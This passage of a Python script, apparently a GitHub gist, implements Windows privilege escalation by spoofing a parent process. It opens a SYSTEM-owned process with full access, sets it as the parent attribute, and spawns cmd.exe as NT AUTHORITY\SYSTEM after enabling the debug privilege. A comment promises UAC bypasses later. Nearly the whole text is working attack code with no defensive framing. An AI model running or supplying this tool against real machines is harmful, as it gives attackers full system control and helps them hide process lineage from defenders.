print "\t[+] Find", systemprocess,"to specify as PROC_THREAD_ATTRIBUTE_PARENT_PROCESS"
print "\t[+] PID of our to be Parent Process:", pid
CloseHandle(hProcess) # _In_ hObject A valid handle to an open object.
handle = OpenProcess(
PROCESS_ALL_ACCESS, # _In_ dwDesiredAccess The access to the process object. This access right is checked against the security descriptor for the process. If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor.
False, # _In_ bInheritHandle If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle
int(pid)) # _In_ dwProcessId The identifier of the local process to be opened.
if handle == 0:
raise RuntimeError("Error in OpenProcess: %s" %GetLastError())
print "\t[+] Aquired handle to", systemprocess,"process"
Size = SIZE_T(0)
InitializeProcThreadAttributeList(
None, # _Out_opt_ lpAttributeList The attribute list. This parameter can be NULL to determine the buffer size required to support the specified number of attributes.
1, # _In_ dwAttributeCount The count of attributes to be added to the list.
0, # _Reserved_dwFlags This parameter is reserved and must be zero.
byref(Size)) # _Inout_ lpSize If lpAttributeList is NULL, this parameter receives the required buffer size in bytes. On output, this parameter receives the size in bytes of the initialized attribute list.
if Size.value == 0:
raise RuntimeError("Error in NULL InitializeProcThreadAttributeList: %s" %GetLastError())
print "\t[+] Building empty attribute list"
dwSize = len((BYTE * Size.value)())
AttributeList = PROC_THREAD_ATTRIBUTE_LIST()
knacrack420 = InitializeProcThreadAttributeList(
AttributeList, # _Out_opt_ lpAttributeList The attribute list. This parameter can be NULL to determine the buffer size required to support the specified number of attributes.
1, # _In_ dwAttributeCount The count of attributes to be added to the list.
0, # _Reserved_dwFlags This parameter is reserved and must be zero.
byref(Size)) # _Inout_ lpSize If lpAttributeList is not NULL, this parameter specifies the size in bytes of the lpAttributeList buffer on input. On output, this parameter receives the size in bytes of the initialized attribute list.
if knacrack420 == 0:
raise RuntimeError("Error in InitializeProcThreadAttributeList: %s" %GetLastError())
print "\t[+] Size of memory block used to store attributes:", dwSize
print '''\t[+] Since we now know buffer size for the specified number
of attributes we allocate and initialize an actual AttributeList'''
lpvalue = PVOID(handle)
knacrack58008 = UpdateProcThreadAttribute(
AttributeList, # _Inout_ lpAttributeList A pointer to an attribute list created by the InitializeProcThreadAttributeList function.
0, # _In_ dwFlags This parameter is reserved and must be zero.
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, # _In_ Attribute The attribute key to update in the attribute list. ~-> PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
byref(lpvalue), # _In_ lpValue A pointer to the attribute value. This value should persist until the attribute is destroyed using the DeleteProcThreadAttributeList function.
sizeof(lpvalue), # _In_ cbSize The size of the attribute value specified by the lpValue parameter.
None, # _Out_opt_ lpPreviousValue This parameter is reserved and must be NULL.
None) # _In_opt_ lpReturnSize This parameter is reserved and must be NULL.
if knacrack58008 == 0:
raise RuntimeError("Error in UpdateProcThreadAttribute: %s" %GetLastError())
print "\t[+] Inheriting the handle of the privileged process for CreateProcess"
lpStartupInfo = STARTUPINFOEX() # https://blogs.msdn.microsoft.com/oldnewthing/20130426-00/?p=4543
lpStartupInfo.StartupInfo.cb = sizeof(lpStartupInfo) # Be sure to set the cb member of the STARTUPINFO structure to sizeof(STARTUPINFOEX).
lpStartupInfo.lpAttributeList = addressof(AttributeList) # lpAttributeList | An attribute list. This list is created by the InitializeProcThreadAttributeList function.
lpProcessInformation = PROCESS_INFORMATION()
knacrack42069 = CreateProcess(
None, # _In_opt_ lpApplicationName The lpApplicationName parameter can be NULL. In that case, the module name must be the first white space–delimited token in the lpCommandLine string.
u"C:\\Windows\\System32\\cmd.exe", # _Inout_opt lpCommandLine The command line to be executed # If PyInstaller use get_script_dir()
None, # _In_opt_ pProcessAttributes A pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle to the new process object can be inherited by child processes. If lpProcessAttributes is NULL, the handle cannot be inherited.
None, # _In_opt_ lpThreadAttributes A pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle to the new thread object can be inherited by child processes. If lpThreadAttributes is NULL, the handle cannot be inherited.
0, # _In_ bInheritHandles If this parameter is TRUE, each inheritable handle in the calling process is inherited by the new process. If the parameter is FALSE, the handles are not inherited. Note that inherited handles have the same value and access rights as the original handles.
(CREATE_NEW_CONSOLE | EXTENDED_STARTUPINFO_PRESENT),#_In_dwCreationFlags The flags that control the priority class and the creation of the process # To specify these attributes when creating a process, specify EXTENDED_STARTUPINFO_PRESENT in the dwCreationFlag parameter and a STARTUPINFOEX structure in the lpStartupInfo parameter
None, # _In_opt_ lpEnvironment A pointer to the environment block for the new process. If this parameter is NULL, the new process uses the environment of the calling process.
None, # _In_opt_ lpCurrentDirectory The full path to the current directory for the process. If this parameter is NULL, the new process will have the same current drive and directory as the calling process
byref(lpStartupInfo), # _In_ lpStartupInfo A pointer to a STARTUPINFO or STARTUPINFOEX structure.To set extended attributes, use a STARTUPINFOEX structure and specify EXTENDED_STARTUPINFO_PRESENT in the dwCreationFlags parameter.
byref(lpProcessInformation)) # _Out_ lpProcessInformation A pointer to a PROCESS_INFORMATION structure that receives identification information about the new process.
if knacrack42069 == 0:
raise RuntimeError("Error in specifying privileged parent process in CreateProc: %s" %GetLastError())
print "\t[+] Should get a nice neat NT AUTHORITY\SYSTEM PID:", lpProcessInformation.dwProcessId
CloseHandle(handle) # _In_ hObject A valid handle to an open object
DeleteProcThreadAttributeList(AttributeList) # _Inout_ lpAttributeList The attribute list. This list is created by the InitializeProcThreadAttributeList function.
if areAdminRightsEnabled():
grantprivilege(SE_DEBUG_NAME)
ntshell()
else:
print "\t This method requires Administrative Privileges, sorry... :( " # (or wait for the implementation of various UAC bypasses I'll make)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment